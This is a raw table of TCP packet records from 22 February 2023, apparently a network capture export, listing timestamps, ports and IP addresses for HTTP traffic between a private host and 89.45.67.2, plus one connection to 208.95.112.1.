Feb 22, 2023 09:44:17.674082041 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.674115896 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.674174070 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.674962997 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.674988031 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.675069094 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.676309109 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.700814009 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.709203005 CET	80	49727	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.709307909 CET	49727	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.712961912 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.713005066 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.713031054 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.713052034 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.713073969 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.713110924 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.713155985 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.713337898 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.713458061 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.713530064 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.713948965 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.713992119 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.714024067 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.714027882 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.714062929 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.714085102 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.714168072 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.714179993 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.714214087 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.714224100 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.714273930 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.714279890 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.714330912 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.716934919 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.717032909 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.717067003 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.717125893 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.717159986 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.717222929 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.717417002 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.717479944 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.718750000 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.718791962 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.718871117 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.719454050 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.719487906 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.719510078 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.719552040 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.719557047 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.719750881 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.719805956 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.721215010 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.721323013 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.743740082 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.743927002 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.756283998 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.756337881 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.756366968 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.756444931 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.756449938 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.756490946 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.756516933 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.756722927 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.756831884 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.756908894 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.756939888 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.756989956 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.757019997 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.757117033 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.757145882 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.757194996 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.757285118 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.757302046 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.757316113 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.757350922 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.757384062 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.760138035 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.760175943 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.760201931 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.760287046 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.760329962 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.760417938 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.760474920 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.760615110 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.761794090 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.761826992 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.761900902 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.762737989 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.762768030 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.762841940 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.762876987 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.762912989 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.762932062 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.762949944 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.763061047 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.763117075 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.764285088 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.764350891 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.764494896 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.787046909 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.787221909 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.799609900 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.799645901 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.799664974 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.799679041 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.799694061 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.799820900 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.799837112 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.799837112 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.799966097 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.799973011 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.800028086 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.800056934 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.800087929 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.800112009 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.800183058 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.800249100 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.800383091 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.800412893 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.800429106 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.800455093 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.800497055 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.803353071 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.803379059 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.803394079 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.803524971 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.803539038 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.803713083 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.804966927 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.805073977 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.805815935 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.805932999 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.806010008 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.806056023 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.806068897 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.806157112 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.806221962 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.806302071 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.806308031 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.806363106 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.807332993 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.807410002 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.830931902 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.830956936 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.831296921 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.831433058 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.831463099 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.842854977 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.842883110 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.842909098 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.843013048 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.843056917 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.843190908 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.843208075 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.843249083 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.843255043 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.843265057 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.843281984 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.843282938 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.843302965 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.843307018 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.843327045 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.843398094 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.843419075 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.843446970 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.846477032 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.846548080 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.846599102 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.846664906 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.846741915 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.848128080 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.848855019 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.848951101 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.849029064 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.849061966 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.849160910 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.849224091 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.875289917 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.875323057 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.875338078 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.875353098 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.875550032 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.886202097 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.886373043 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.886461973 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.886610985 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.886630058 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.886733055 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.886750937 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.894009113 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.900435925 CET	49725	80	192.168.2.3	208.95.112.1
Feb 22, 2023 09:44:17.918584108 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.918620110 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.918652058 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.918745041 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.918764114 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.918802977 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.918864012 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.918910027 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.918910027 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.919037104 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.958137035 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.958303928 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.961955070 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.961985111 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.962001085 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.962016106 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.962033033 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.962047100 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.962052107 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.962061882 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.962076902 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.962091923 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.962125063 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.962199926 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.962217093 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.962233067 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.962318897 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.962352991 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.962400913 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.962408066 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.962416887 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.962460041 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.962516069 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.962543964 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.002196074 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.002340078 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.002382040 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.002386093 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.002551079 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.002619028 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.005157948 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.005299091 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.005426884 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.005451918 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.005470991 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.005490065 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.005491018 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.005532026 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.005549908 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.005568981 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.005651951 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.005677938 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.005701065 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.005753994 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.005755901 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.005812883 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.005817890 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.005867004 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.005868912 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.005889893 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.005909920 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.005918980 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.005949974 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.005970001 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.006016016 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.007464886 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.007503986 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.007525921 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.007544994 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.007563114 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.007570982 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.007599115 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.007669926 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.007692099 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.007793903 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.007827997 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.007884979 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.046916008 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.046967983 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.047056913 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.047357082 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.049892902 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.050081968 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.050383091 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.050417900 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.050441980 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.050466061 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.050479889 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.050537109 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.050734043 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.050822020 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.050967932 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.050996065 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.051023006 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.051037073 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.051050901 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.051075935 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.051084995 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.051100969 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.051125050 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.051148891 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.051206112 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.051206112 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.051213980 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.051295996 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.051697969 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.051774979 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.052798033 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.052834034 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.052859068 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.052884102 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.052885056 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.052910089 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.052922010 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.052961111 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.052999973 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.053028107 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.053054094 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.053078890 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.053167105 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.053220034 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.053247929 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.053637981 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.053723097 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.090245962 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.090291023 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.090315104 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.090337992 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.090380907 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.090473890 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.090653896 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.093175888 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.093285084 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.093353033 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.093353987 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.093466043 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.093480110 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.093609095 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.093614101 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.093666077 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.093756914 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.093791008 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.093842030 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.094352961 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.094454050 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.094816923 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.094896078 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.094928026 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.094976902 CET	49728	80	192.168.2.3	89.45.67.2
